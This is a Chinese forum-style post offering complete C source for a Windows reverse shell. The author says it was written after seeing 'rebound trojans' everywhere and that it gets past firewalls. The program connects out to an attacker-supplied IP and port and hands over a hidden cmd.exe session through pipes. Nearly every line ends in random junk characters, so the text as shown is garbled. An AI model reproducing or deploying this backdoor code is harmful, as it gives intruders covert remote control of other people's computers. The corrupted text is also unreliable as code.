这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 NHI(}Ea|]
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/* ============================== 0_\@!#-sml
Rebound port in Windows NT ?4QX;s7
By wind,2006/7 +bO]9*g]
===============================*/
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#include UqsJ44QEZ
#include W_JFe(=3,
rt +a/:4+
#pragma comment(lib,"wsock32.lib") z#DgoA
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void OutputShell();
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SOCKET sClient; &:Mk^DH5
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; `Ckx~'1M:
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void main(int argc,char **argv) ]!%
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{ )H
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WSADATA stWsaData; QV&yVH=Xs
int nRet; e#{,M8
SOCKADDR_IN stSaiClient,stSaiServer; ?7?hDw_Nk
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if(argc != 3) I;u1mywd
{ <.d^jgG(j
printf("Useage:\n\rRebound DestIP DestPort\n"); IZw>!KYG
return; VDnN2)Km*
} wgETL|3-
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WSAStartup(MAKEWORD(2,2),&stWsaData); E![Ye@w
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); VgBZ@*z(x
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stSaiClient.sin_family = AF_INET; Dej_(Dz_S
stSaiClient.sin_port = htons(0); !t.*xT4W
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); d<,'9/a>
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 16pk4f8
{ L'A>IBrz
printf("Bind Socket Failed!\n"); 1\XR6q:2
return; VyF|d?b
} >)+-:
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stSaiServer.sin_family = AF_INET; ZjB]pG+
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 2*[Gm e
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); $27QY
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) }I )%G w
{ |O!G[|/3
printf("Connect Error!"); kuX{2h*`
return; !Au@\/}
} 7k<6oM1
OutputShell(); BSyl!>G6n8
} 45
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void OutputShell() %k+G-oT5
{ W08rGY
char szBuff[1024]; RkMs!M
SECURITY_ATTRIBUTES stSecurityAttributes; z\F#td{ r
OSVERSIONINFO stOsversionInfo; $F#eD0|
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; #uc9eh}CWO
STARTUPINFO stStartupInfo; j92X"yB
char *szShell; 26K sP .-
PROCESS_INFORMATION stProcessInformation; |mS-<e8LY4
unsigned long lBytesRead;
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); P #PRzt
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); G*y!
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stSecurityAttributes.lpSecurityDescriptor = 0; g]mR;T3
stSecurityAttributes.bInheritHandle = TRUE; rYn)E=FG/
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); J^y}3ON
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); -u nK;
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); nD5+&M0
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 8aMmz!S
stStartupInfo.wShowWindow = SW_HIDE; cxig <W
stStartupInfo.hStdInput = hReadPipe; +9fQ YJBA
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; f_m~_`m
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GetVersionEx(&stOsversionInfo); <0h,{28
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switch(stOsversionInfo.dwPlatformId) FpYeuH%
{ 4^IqHx;bj
case 1: J=`2{
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szShell = "command.com"; Rk$
break; nQm
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default: d"nms\=p
szShell = "cmd.exe"; +N>z|T<
break; *~%QXNn`
} :|z.F+-/
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ]fdxpqz
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send(sClient,szMsg,77,0); CU+H`-+"J
while(1) tZz *O%
{ %8hx3N8>
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); PJn|
if(lBytesRead) eelkK,4
{ }Nc Ed;
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ? `+G0VT
send(sClient,szBuff,lBytesRead,0); 9cJ1J7y
} twr-+rm2
else XlaGR2-%
{ UV#DN`%n
lBytesRead=recv(sClient,szBuff,1024,0); E
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if(lBytesRead<=0) break; =#.qe=
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); xO0}A1t
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} LUfo@R
} 6-t:eo9
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return; 9:4m@dguh-
}